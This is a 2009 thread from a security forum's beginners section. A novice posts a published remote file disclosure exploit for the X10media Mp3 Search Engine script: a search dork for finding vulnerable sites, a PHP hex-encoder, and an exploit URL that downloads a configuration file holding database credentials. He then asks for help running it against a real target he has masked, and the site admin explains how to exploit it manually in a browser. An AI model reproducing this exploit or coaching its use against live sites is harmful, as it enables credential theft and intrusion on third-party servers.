|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 73
Members: 0
Total: 73
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help the noob with "art of exploiting" xD |
|
Posted: Mon May 18, 2009 8:57 pm |
|
|
Arxi |
Beginner |
|
|
Joined: May 18, 2009 |
Posts: 3 |
|
|
|
|
|
|
|
Hello guys. I found this forum to be very supportove for newbs in exploiting.
Here is expoloit from x10media script. with insrtuctions. I don't get first part where i should encode URL. I runed script in cmd and all i get is "text copy" and nothing else. I am realy noob with exploits and i need help with this =)
Few questions: Should i keep site opened when running this php script?
i am doing right if I type in cmd >"php folder" then php expoit.php ?
I still have lot of questions but i will save it for later xD
SCRIPT AND INTRC:
################# ~THUNDER ################################################################
~X10media Mp3 Search Engine v1.5.5 - 1.6 Remote File Disclosure Vulnerability
~Founded by : THUNDER <t4h[at]hotmail.fr>
~Dork: "This search engine is in no way intended for illegal downloads. "
~File : Download.php
================================================================================
===========
to read files you need to encode the url, so you can use this php code :
<?
//Encode URL ** THUNDER **
function enc($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
$thunder = $_GET[t];
echo enc($thunder);
?>
How to use : http://127.0.0.1/encode.php?t=[Url]
Ex : http://127.0.0.1/encode.php?t=includes/constants.php
##### ~Exploit ############################################################################
http://www.target.com/[path]/download.php?url=[Encoded url]
Example :
let's download the constants.php file wich contains the database login and password .
the file will be downloaded as .mp3 exstension .
http://www.target.com/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870
Open the downloaded file with any text editor... ,and you got the database .
################################################################################
###########
Hope you can help me =) |
|
|
|
|
|
|
|
|
Posted: Tue May 19, 2009 11:55 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Posted: Tue May 19, 2009 12:26 pm |
|
|
Arxi |
Beginner |
|
|
Joined: May 18, 2009 |
Posts: 3 |
|
|
|
|
|
|
|
Preety nice wroten but i STILL dont get how to encode Url
Here is what i done:
I run my xampp
I type http://localhost/encode.php?t=http://www.****.com/ (www.****.com is my target)
And i don't get nothing.
I know i am quite boring but if some1 have a few mins please help me |
|
|
|
|
|
|
|
|
Posted: Tue May 19, 2009 4:05 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Arxi wrote: | Preety nice wroten but i STILL dont get how to encode Url
Here is what i done:
I run my xampp
I type http://localhost/encode.php?t=http://www.****.com/ (www.****.com is my target)
And i don't get nothing.
I know i am quite boring but if some1 have a few mins please help me |
You got it all wrong
This security vulnerability can be exploited manually. You only need web browser. That encoding script - it's just additional, optional utility. You can encode with that script, manually with ascii table or with sql encoder, as I did show before.
And you have to encode path of the file, you want to download, not website's url!
By the way it seems that you have not clue even about this exploit possibilities. It's remote file disclosure exploit, right? It will allow you to see, what's inside of files residing in target server. This type of exploit can reveal potentially sensitive information, but usually more steps are needed for effective attack.
And one more thing - don't post sensitive info here! That includes target urls! |
|
|
|
|
|
|
|
|
Posted: Tue May 19, 2009 4:33 pm |
|
|
Arxi |
Beginner |
|
|
Joined: May 18, 2009 |
Posts: 3 |
|
|
|
|
|
|
|
Gosh i just found hard truth
I don't even know what this script does.
Anyway txs for mins you spared to help me |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|